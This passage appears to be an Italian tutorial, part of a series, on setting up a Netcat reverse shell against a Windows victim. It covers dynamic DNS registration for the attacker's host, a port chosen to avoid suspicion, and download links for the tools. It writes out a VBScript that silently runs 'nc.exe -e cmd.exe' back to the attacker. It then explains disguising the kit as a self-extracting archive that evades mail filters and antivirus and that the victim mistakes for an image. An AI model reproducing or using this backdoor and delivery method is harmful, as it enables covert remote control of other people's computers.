Con questo articolo iniziamo la fase finale dello studio dell’ uso di Netcat mirato alle finalita’ per gli altri usi vi rimando alle numerose guide presenti su INTERNET o alla man page del programma bene detto questo partiamo:
per prima cosa definiamo che cos’è un REVERSE SHELL: è un ATTACCO (quindi createvi una vostra LAN e ricordate che se anche attaccate il vostro sito,il vostro spazio mail ecc IL SERVER RICONOSCERA’ IL VOSTRO ACCESSO COME QUELLO DI UN INTRUSO E QUINDI VI FANNO …ci siamo capiti)
in cui è il computer TARGET che si COLLEGA al pc ATTACKER , fornendogli un prompt dei comandi con privilegio ROOT facendogli bypassare il login eventuale,un firewall od un router concorderete con me che questo sia l’ attacco con netcat che ogni pentester o investigatore debba saper portare per introdursi in un pc ma non è di facile intuizione ecco perchè procederemo piano piano.
Rieccoci a voi per entrare nel vivo cominciamo con il preparare il kit dei tools che ci servono per attaccare un sistema con netcat e la tecnica REVERSE SHELL :
1) NETCAT (alias nc.exe )
2) WINRAR ( serve per creare i famigerati ARCHIVI AUTOESTRAENTI e nascondere il file nc.exe alle rilevazioni del provider e degli Antivirus)
3) REG.EXE ( software utility di editazione del registro di sistema di windows a riga di comando)
4) Webget ( network utility per scaricare file o interi siti via http o ftp da riga di comando per LINUX usiamo WGET.exe).
Ora eseguiremo delle operazioni volte alla preparazione del nostro pc :
1) iscrizione ad un servizio di DNS dinamici (tipo DYNDNS) necessaria per poter ritrovare il nostro IP in internet senza dover ogni volta andare a controllare il nostro IP pubblico( che cambia, di tanto in tanto, essendo un IP dinamico).
se vogliamo usare DYNDNS rechiamoci a questo indirizzo :
http://www.dyndns.org
effettuiamo l’ iscrizione.
2) Recarsi in MY SERVICES e cliccare il link ADD HOSTNAME vicino alla sezione HOST SERVICES.
3)scegliamo un DOMINIO di TERZO LIVELLO:
dal menu a tendina sulla destra scegliere un suffisso dyndns.org,blogsite.org,ecc.ecc la scelta è vostra.
4) stabilire un PREFISSO che stara’ prima del suffisso esempio:
se scelgo :
suffisso = blogsite.org e prefisso = shell
avro’:
shell.blogsite.org… facile no!
5) Cliccate sul link USE AUTO DETECTED IP ADDRESS x.x.x.x che c’è sotto.
Questo fara’ in modo che il dominio che si sta’ per creare puntera’ subito all’ indirizzo IP della vostra connessione ad internet.
6) Cliccate su CREATE HOST per CONFERMARE la creazione del vostro DNS dinamico.
NOTATE CHE IL SERVIZIO è GRATUITO!
Procediamo ora con l’ installazione DYNDNS UPDATER sul nostro PC
esso ci permettera’ di risincronizzare il nostro DOMINIO (shell.blogsite.org ) con l’IP assegnato dal nostro provider.
1) scaricare il client gratuito da :
http://www.dyndns.com/support/clients/
cliccando su DOWNLOAD NOW scarico DynUpSetup.exe.
1) Eseguiamo il SETUP del software
2) clicchiamo su NEXT
3) Usando UBUNTU non possiamo avvalerci dell’ avviamento automatico come servizio windows sinceramente non posso pero’ smentire che ci possa essere una possibilita’ usando WINE l’ emulatore dell’ ambiente windows su ubuntu quindi dovremmo avviare ogni volta il prog manualmente.
Al termine dell’ installazione,si aprira’ una schermata che vi chiede le informazioni sul vostro account DYNDNS cioè, username e paassword .
Inseriamo i dati e vedremo che il prog aggiungera’ il nome host SHELL.BLOGSITE.ORG all’ interno della finestra.
Clicchiamo il quadratino vicino al nome host per impostare la sincronizzazione.
Diamo OK e abbiamo terminato.
Ora scegliamo una porta che dovra’ servirci per effettuare la connessione cercando di scegliere porte comprese in un range da 40000 a 50000.
In modo tale da sviare sospetti e controlli.
scelta la porta la 42712 ci apprestiamo a preparare l’ARCHIVIO AUTOESTRAENTE da inviare al pc vittima per prima cosa scarichiamo dai seguenti siti i programmi che ci servono:
NC.EXE – http://joncraton.org/files/nc111nt.zip
Winrar – http://www.rarlab.com/rar/wrar380b4it.exe
REG.EXE – http://www.dynawell.com/download/reskitt/mi…win2000/reg.zip
WebGet – http://users.ugent.be/~bpuype/fetc…l=wget.exe
Creiamo una cartella su desktop chiamiamola REVSHELL copiamo gli eseguibili
nc.exe – reg.exe – wget.exe nella cartella REVSHELL
installiamo Winrar ….
Ora iniziamo a nascondere il nostro pacchetto all’ interno di uno VBScript cosi’ :
1) Apriamo BLOCCO NOTE di windows e scriviamo :
CODICE
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “nc.exe -e cmd.exe shell.logsite.org42712″,0
salviamo il file come REVSHELL.vbs copiamolo nella cartella REVSHELL insieme agli altri file eseguibili.
Diamo ora una spiegazione di cio’ che fa’ il file batch in VBScript:
1) esegue nc.exe agganciandogli il prompt dei comandi della shell windows (cmd.exe)
2) Connette la shell attraverso cmd.exe al mio dominio shell.blogsite.org creato all’inizio su dyndns sulla porta 42712.
3) Tramite lo 0 (ZERO) alla fine eseguo il programma SENZA che la vittima veda la finestra ….
La creazione del pacchetto autoestraente ci serve per nascondere i nostri eseguibili in primis al provider di servizi mail il quale di default blocca eseguibili in arrivo sui suoi server e alla nostra vittima che deve aprire il nostro batch file convinta di cliccare su un file tipo jpg ma attivando anche il file server.
Uno ad uno clicchiamo con il tasto dx del mouse su i 3 file .exe e su quello .vbs e clicchiamo per ognuno “Aggiungi ad un archivio”.
si aprira’ la finestra di creazione archivi di Winrar.
Mettiamo un segnodi spunta su “Crea un archivio autoestraente”:
Nella prossima si continua!